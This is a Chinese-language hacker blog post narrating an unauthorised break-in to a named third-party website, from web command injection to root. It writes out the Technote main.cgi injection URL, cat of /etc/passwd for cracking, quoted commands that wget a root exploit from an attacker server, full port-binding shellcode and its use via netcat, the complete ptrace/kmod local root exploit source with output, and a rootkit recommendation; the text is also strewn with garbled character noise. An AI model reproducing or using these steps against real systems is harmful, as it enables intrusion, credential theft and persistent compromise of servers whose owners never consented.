从web漏洞到系统root权限过程全展现

韩冰

作者：cnbird

大家好，我是cnbird，我又回来了，好长时间没有写文章了，今天手痒痒，

! k( J, o. e' J) }2 M0 e4 e" d; T

所以就写了一篇，希望对与unix的初学者有帮助.欢迎大家和我讨论技术。MainpAge:http://cnbird.hackvip.cn

最近在家研究perl和UNIX服务器的安装和应用，所以很长时间没有进行渗 透了，在学perl和UNIX的话就要傻了，什么也不会了，所以去各大黑客站点

转转吧，来到了www.nsfocus.net看看吧，有没有什么新的公告啊，Technote 'main.cgi'远程任意命令执行漏洞 这个漏洞引起了我的注意，大致看了看，

. b: y' ]& `: D1 j2 v8 w( l

知道了这是一个可以远程执行命令的漏洞，下面把漏洞的信息公布一下，Technote是韩国的Technote公司开发的公告牌系统。

Technote的'main.cgi'没有充分过滤用户提交输入，远程攻击者可以利用这

个漏洞以WEB进程权限在系统上执行任意命令。

由于不正确过滤'filename'参数，攻击者提交包含"|command"的数据作为参

数内容，可能以WEB进程权限在系统上执行任意命令。

给出利用方法

- J, w5 J P# t$ w1 j( w

_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://[target]/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

看了看利用方法觉得很简单，所以打算自己写一个perl的漏洞利用程序，

看了半天，终于完成了，自己perl新学的原因，所以写的比较简陋，还要自己

: k4 X# z C) R% f# N1 _

修改路径，很麻烦，我就不公布了，省的高手见笑。其实这个漏洞成功率还是

很高的，基本上90%以上吧，对于咱们这些经常搞安全的应该说是一个好消息.

8 u; W$ P( T7 s

^_^.

好了开始咱们这次难得的入侵之旅吧,这篇文章看着很简单，其实融合我多年

' @* Z; [& Q# o5 W& t1 f. j1 H4 L/ ]# ^; d

的经验（其实就1-2年）,首先要测试这个漏洞，先要找这样的论坛，

google.com就是方便，一下子找到了一大堆，好了随便挑一个进行测试吧，哈哈哈就拿你开口吧。

http://www.sealia.com/cgi-bin/technote/main.cgi首先大致看了看，然后就开始吧，

按照绿盟给出的公告测试一下，输入_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id">http://www.sealia.com/cgi-bin/technote/main.cgi/shop.pdf?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt|id|

% S" N( ^) i; j5 e; c6 y# w

结果如图1

大家看到结果了

uid=99(nobody) gid=99(nobody) groups=99(nobody) 下面就开始利用我自己写的程序来完成工作了，毕竟在IE里面输太麻烦了， ; U! [2 F: E4 }& ]$ T6 E% n我程序的工作 + U) u' R1 G# q" {1 M! q界面。如图2

2 Y/ _& H% W& B

依次输入IP和端口，就可以直接运行程序了，输入id呵呵，和IE里面基本上差

( K- p) [4 a2 D5 F

不多，

如图3

: R1 p& @9 S% l6 m1 t$ U' T

' ^/ K/ X; g/ [7 E, ^3 m8 g7 ^

呵呵到这里我想大家的思路就是上传一个webshell然后在webshell里面搞了，

其实我也有这样的想法，可是我已经习惯了UNIX的命令行模式了，虽然能写一个webshell，但是我并没有这样做，我的目的是拿到root权限，大家一定问了，你连主机都没有连上呢，你怎么拿到root啊，小伙子你问的不错，奖你个梨吃，呵呵，下面我的思路就是登陆到机器上面，上面大家已经看到了，我们id命令的输出是uid=99(nobody) gid=99(nobody) groups=99(nobody)，权限还是很低的，试试能不能拿到/etc/passwd然后跑密码，然后执行[www.sealia.com]$ cat /etc/passwd

不错，能拿到/etc/passwd。

如图4

呵呵已经得到/etc/passwd了，我们用流光去跑密码吧，当然我没有指望它能跑出来，等待的时间真漫长啊，无聊，都已经5点50分了，天天晚上，哦哦不是晚上了，是早晨这个时候睡觉，然后12点起来，天天如此，哎，，苦啊。。。

去forum.zone-h.org看看帖子吧，也许能找到什么灵感呢！无意间来到了http://forum.zone-h.org/viewtopic.php?t=1168&highlight=phpbb他们正在讨论phpbb的漏洞利用方法和代码，看看吧，虽然已经很老很老了，呵呵其实说实话，不怕各位见小，我以前问在这里问过问题，很长时间没有来了，看看他们有没有给回复啊

如图5

8 |6 k Q7 d$ `& x/ I; N7 S* x

呵呵见笑了，真没想到他们给的答案还很全面，^_^连什么程序都给出了，老外就是实在...呵呵...

, J, W: O3 p4 J( F

This one works fine

http://rst.void.ru/download/r57phpbb2010.txt

" Y9 P* j" M/ P3 B) h

upload, someth like this

* r& H0 K. i" }

./exploit.pl victimhost:port /php_root/ topic_num "wget -O /var/tmp/.r.c http://myhttpserver:port/exploit/root.c"

' ~+ A5 p5 Z0 i. S! e6 O+ ^./exploit.pl victimhost:port /php_root/ topic_num "gcc /var/tmp/.r.c -o .root"

; |; x/ V( o+ j/ `) sexec on victim hots same shit

9 q1 Y% P- `9 @3 v

and binding shell

& A; V$ ~* A r I6 W

http://shellcode.org/Shellcode/Linux/shell-bind-shell.html

; v# w `* [" M

回答的让我很满意啊，正好就试试他们给的方法吧，其实以前我也知道这样的方法的就是没有binding shell（就是把/bin/sh绑定到端口上）。好了说了这么多离题的话，我们还是赶紧做我们的事吧.

^* q& Q# n, Y: O: w( r2 n0 y3 r2 c

首先来到了http://shellcode.org/Shellcode/Linux/shell-bind-shell.html看了看，

7 h+ s7 m4 ~/ G2 r$ a, F1 \

This piece of code will open a socket for listening upon port 20000 and spawn a shell for all incoming connections.

. [/ _% g. Z& z+ V7 e, M8 l

This would be ideal for a system which you didn't have a direct login shell upon.

从描述上来看是linux的binding shell，并且绑定到了20000端口，下面有该程序的下载地方，真方便啊，http://shellcode.org/Shellcode/Linux/shell-bind-shell.c

! H6 {$ e" J. [0 J( ~3 B, N+ E

给出代码

/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86 * - by bighawk (bighawk@warfare.com) 1 Z, k0 o8 F+ ?# Z9 s' ~* L * 1 m/ W5 Z0 h+ d4 d! H4 w * This shellcode binds a shell on port 20000 7 S0 s) P7 B' Z e7 P0 f F2 L; r * $ H6 e. W4 F1 T- | * stdin, stdout and stderr are dupped. accept() arguments are sane. 7 D2 x: D! x: @) ] */

! b+ u9 e- I8 c" ~. M( N. u/ @

char code[] =

1 d" y6 Q5 v/ b. C' p5 v

"\x31\xdb" // xor ebx, ebx 9 W: J* ]! \8 a4 ^/ }) V "\xf7\xe3" // mul ebx + n% i( [* G6 u- Z0 ~5 U: a' ]9 w "\xb0\x66" // mov al, 102 "\x53" // push ebx "\x43" // inc ebx "\x53" // push ebx 6 N4 U9 \, y: }' n% S- h "\x43" // inc ebx # {' A4 t0 E2 V/ p8 I/ e4 K "\x53" // push ebx 2 y, d( _; O, z "\x89\xe1" // mov ecx, esp "\x4b" // dec ebx 6 q( I* e: c5 [" ]" \ "\xcd\x80" // int 80h 2 J+ S; M6 {# W3 b1 [5 ` "\x89\xc7" // mov edi, eax "\x52" // push edx "\x66\x68\x4e\x20" // push word 8270 "\x43" // inc ebx "\x66\x53" // push bx "\x89\xe1" // mov ecx, esp + F! ?9 }" d( k# R "\xb0\xef" // mov al, 239 ) P! `8 j, r7 J/ a% G8 M: Q "\xf6\xd0" // not al "\x50" // push eax ! H: _0 Y" ^% O- y/ s: e; V' s, D "\x51" // push ecx "\x57" // push edi "\x89\xe1" // mov ecx, esp ; c! W: i" b6 O* E0 e: \ "\xb0\x66" // mov al, 102 "\xcd\x80" // int 80h " k# K8 ` h) d: C "\xb0\x66" // mov al, 102 "\x43" // inc ebx " q8 l; j# H, l' D6 Y" k "\x43" // inc ebx 2 b5 D; o- R u( w E( e "\xcd\x80" // int 80h "\x50" // push eax "\x50" // push eax "\x57" // push edi " c" ~) q" W; G. O5 z5 ? "\x89\xe1" // mov ecx, esp ) h1 V0 B# C4 H0 O/ W0 v "\x43" // inc ebx ! b3 K+ O; r; z3 q. k- E5 A* c "\xb0\x66" // mov al, 102 ( r9 U/ C _% H6 Z+ Q* q "\xcd\x80" // int 80h ; O) X9 M+ \/ m4 ^' n "\x89\xd9" // mov ecx, ebx 4 x' V; K) u4 g4 Y1 U9 A "\x89\xc3" // mov ebx, eax "\xb0\x3f" // mov al, 63 3 o# t {' E! t0 Z7 L* f' ^ "\x49" // dec ecx 0 k2 n( H, P) `( p7 Q "\xcd\x80" // int 80h , x( S) L# K9 u0 k5 W3 |! w4 N "\x41" // inc ecx "\xe2\xf8" // loop lp "\x51" // push ecx 9 y: L: D6 v( s1 w1 i; x0 V "\x68\x6e\x2f\x73\x68" // push dword 68732f6eh % Q! A, n3 s- ^1 A, _5 E "\x68\x2f\x2f\x62\x69" // push dword 69622f2fh "\x89\xe3" // mov ebx, esp "\x51" // push ecx "\x53" // push ebx "\x89\xe1" // mov ecx, esp 0 B. r U7 Y" i2 K C/ p "\xb0\xf4" // mov al, 244 , u$ g0 E) j4 a# D( P+ U "\xf6\xd0" // not al "\xcd\x80"; // int 80h

8 b; z' y. p/ A/ d9 V- ?

main() { void (*a)() = (void *)code; int i; ) m1 n, s q" z8 A4 F printf("size: %d bytes\n", strlen(code)); 9 b2 u* K7 {9 ~" a printf("Testing for cntrl characters.. "); for(i=0;i if(iscntrl(code)) printf("FAILED\n"), exit(255); printf("PASSED\n"); a(); * F% S; z8 ~0 R3 z5 ^} 好了我们已经知道该下载地址

韩冰

http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了， 就可以用wget这个命令来下载了，输入 wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思 : A1 Q4 g e" R& h1 r( b6 E就是下载这个shell.c到/tmp目录下，如图6

然后ls /tmp得到下面的结果，[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs # c N# |' q4 |$ W- L这个时候就说明已经成功了，现在我们查找一下gcc在哪里，别到时候闹了半天 在没有gcc就麻烦了，然后输入whereis -b gcc意思就是查找gcc的全路径输出结果 8 c1 c, W' `" _[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain 12gcc: /usr/bin/gcc 1 m3 I7 G k) ?" m# h" H, i# ]好了找到gcc了，接下来的事就好办了，编译源程序gcc shell-bind-shell.c -o bind 编译成功在/tmp目录下多了一个我们编译的bind程序，下面我们就来执行它吧， /tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成，根据程序的介绍我 / I& [9 I& B; [- Q们知道他开了20000端口，我们telnet 上去吧，telnet www.sealia.com 20000 5 E# d* e' Z G/ H+ a哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found" 呢，我晕了，没错啊，看看源程序吧，找到了最后，哈哈知道了原因， : J u, v) x) e/ |1 ENote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000 (nc is netcat).好了知道为什么了，我们就换nc提交吧，执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢，跑了将近半个小时了，不等了，关闭它，太浪费资源了，这个时候我大概知道他是一个linux的操作系统，但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的，下面咱们来提升权限吧，就是拿到root，这里说明一下这里有2个很好用的漏洞利用程序，一个是Linux Kernel do_mremap VMA本地权限提升漏洞（漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了，咱们开始提升权限吧，大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* * Linux kernel ptrace/kmod local root exploit 1 B t6 d6 t9 t* h* 3 y4 t9 [% c* j! z2 n( N* This code exploits a race condition in kernel/kmod.c, which creates * kernel thread in insecure manner. This bug allows to ptrace cloned * process, allowing to take control over privileged modprobe binary. % U+ E3 G) L9 D0 D+ F {* . L0 }( Z4 X/ U; o3 k* Should work under all current 2.2.x and 2.4.x kernels. / G( H+ k2 d M* 1 v8 d2 W1 A `; V" o( E0 u E* I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat ' I& y# ^4 n; C1 z- a* and others. * % U) }, e; P+ w! K# Q3 Y* Wojciech Purczynski <cliph@isec.pl> + p0 m: i4 @+ g: N- n* % x" u5 h0 H0 W7 t$ A* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* 9 A5 x0 V2 m9 F: f2 V2 z3 {( h* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY ( E2 t, l$ }1 j c5 ]0 |3 Y* 5 C. g; l3 A1 Q- F0 |- h1 w: {* (c) 2003 Copyright by iSEC Security Research 4 o R% T+ Y( C*/

#include 5 S% [. l. a+ m( ^0 [7 T#include #include 0 v* `* Y* L) H; F#include #include 7 C1 g0 \/ ^4 x& n3 K1 E: |#include " q; t3 U0 g9 c0 z' p* Z: w3 R#include / U3 R! c$ H ~: ^#include #include 7 X, S4 q) Y5 p: u0 D2 N#include #include ' y, F2 q* Z7 w#include # r3 B- v, K3 S#include #include + G, _( e5 \; P% T4 G#include $ m3 t8 s7 p. q# i |' j. W3 C1 ?5 t, n#include

char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" 0 E7 @. A" @" x+ C4 s# _1 g: `"\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" 1 Y. ?5 W+ \3 X"\x40\xcd\x80\xe8\xdc\xff\xff\xff";

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t parent = 1; pid_t child = 1; # ?8 i& u! a7 e' ~5 v& u7 ?, d7 x7 xpid_t victim = 1; / k/ w ]1 z! D& d. k# D' \volatile int gotchild = 0;

void fatal(char * msg) ; o4 u0 t3 K" n{ perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); }

void putcode(unsigned long * dst) 3 @, I, ~9 m: i; |6 A# p/ G0 H{ char buf[MAXPATHLEN + CODE_SIZE]; . `. ?+ r7 V* i% ~9 _' Dunsigned long * src; 2 F& t* p+ j$ c! Z) M/ t( L" oint i, len;

memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe");

len += CODE_SIZE + 1; 3 P, M, |4 E. e1 K2 W0 Gbuf[len] = '\0';

src = (unsigned long*) buf; ( Y* D2 I- y. t+ b7 Z2 Pfor (i = 0; i < len; i += 4) , _' I" g! P1 nif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); }

void sigchld(int signo) 0 v& F2 v' S, }" s3 [! p{ / P7 B: L8 G8 t3 z! L: m0 o2 W8 N" vstruct user_regs_struct regs;

if (gotchild++ == 0) 6 k. c( _& \$ lreturn;

fprintf(stderr, "[+] Signal caught\n");

if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1) fatal("[-] Unable to read registers");

fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);

putcode((unsigned long *)regs.eip);

fprintf(stderr, "[+] Now wait for suid shell...\n");

if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) ' }" ^, T1 {$ X& Afatal("[-] Unable to detach from victim");

exit(0); }

void sigalrm(int signo) 0 I. D/ k# _1 y{ errno = ECANCELED; + n. |3 _3 F% A9 Zfatal("[-] Fatal error"); % H$ W) Z$ ]( E% Y$ _}

void do_child(void) ( Z7 T* s+ Q/ ?9 k" W{ int err;

child = getpid(); victim = child + 1;

signal(SIGCHLD, sigchld);

do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH);

if (err == -1) fatal("[-] Unable to attach");

fprintf(stderr, "[+] Attached to %d\n", victim); + h a& n3 H6 U2 Pwhile (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) 0 X9 \2 J. Y1 v" ffatal("[-] Unable to setup syscall trace"); + |: w4 m6 u% f4 |8 \fprintf(stderr, "[+] Waiting for signal\n");

for(;;); ! h% z- m- q( N- ?" r}

void do_parent(char * progname) n- T& R, ~. ^/ ~- ?) W6 k{ ) a" Z! Z. n" K% O* kstruct stat st; int err; ' h9 ^! R' i6 Berrno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); + S$ |9 k) N; F, tdo { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);

if (err == -1) ) o. |( \+ t2 V. ]/ Nfatal("[-] Unable to stat myself");

alarm(0); system(progname); ; h& h3 M N7 e6 a5 @}

void prepare(void) D5 I H( w2 A{ if (geteuid() == 0) { ! L6 Q5 k% r: A0 ^) ?8 N: v' c6 Tinitgroups("root", 0); / s6 j2 I! b5 p" @9 Wsetgid(0); ! ]% e" H4 m" x/ `" |8 P' M1 psetuid(0); 6 P$ R- j- |9 f' F3 Mexecl(_PATH_BSHELL, _PATH_BSHELL, NULL); fatal("[-] Unable to spawn shell"); $ }! Z. ?, O( u8 {8 z$ ]} * q! x6 N3 ^, N: ^2 |5 [}

int main(int argc, char ** argv) * V Y2 o1 w' }{ prepare(); signal(SIGALRM, sigalrm); alarm(10);

parent = getpid(); 5 G" o5 S2 V6 ?! @$ w! E9 Z- |child = fork(); victim = child + 1;

if (child == -1) $ w/ k h$ u! K, \) _# w% kfatal("[-] Unable to fork");

if (child == 0) 1 L' k1 J" X& E( g F5 P( Z% C udo_child(); else do_parent(argv[0]);

return 0; 5 b7 R, n" C$ l2 S0 I0 o}CRTL+C保存，然后编译gcc 1.c -o 1编译成功，然后输入./1程序开始执行了，-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了，剩下的工作就是安装后门了，大家可以参考我另外的一篇文章，more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了，其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞，这一点点的小漏洞就可以把能拿到系统的最高权限，可见其危害性，希望国内的网管能够重视起来.